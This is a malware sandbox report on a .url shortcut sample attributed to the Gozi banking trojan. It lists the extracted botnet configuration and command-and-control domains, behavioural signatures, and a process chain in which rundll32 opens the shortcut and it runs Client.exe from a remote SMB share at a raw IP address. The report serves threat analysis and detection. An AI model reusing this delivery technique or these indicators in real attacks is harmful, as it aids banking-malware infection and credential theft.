Analysis

  • max time kernel
    142s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/09/2023, 13:16

General

  • Target
    Organizzazione.url
  • Size 193B
  • Sample230928-qhta5abe2v
  • SHA256 a248997a8b79c2b5f7a411e4c0884439eabffc62c8f3bcdbf7ba5ecb2871e7c7
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi

Extracted

Family
  • gozi

Botnet
  • 5050

C2
  • netsecurez.com

  • whofoxy.com

  • mimemoa.com

  • ntcgo.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Dave packer 1 IoCs

    Detects executable using a packer named 'Dave' by the community, based on a string at the end.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Organizzazione.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3948
    • \??\UNC\62.173.145.210\Scarica\Client.exe
      "\\62.173.145.210\Scarica\Client.exe"
      2⤵
        PID:1452

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1452-1-0x0000000000D50000-0x0000000000D5C000-memory.dmp

          memory/1452-0-0x0000000002900000-0x000000000290F000-memory.dmp

          memory/1452-5-0x0000000000400000-0x000000000040F000-memory.dmp

          memory/1452-11-0x0000000002A80000-0x0000000002A8D000-memory.dmp

          memory/1452-14-0x00000000009E0000-0x00000000009F3000-memory.dmp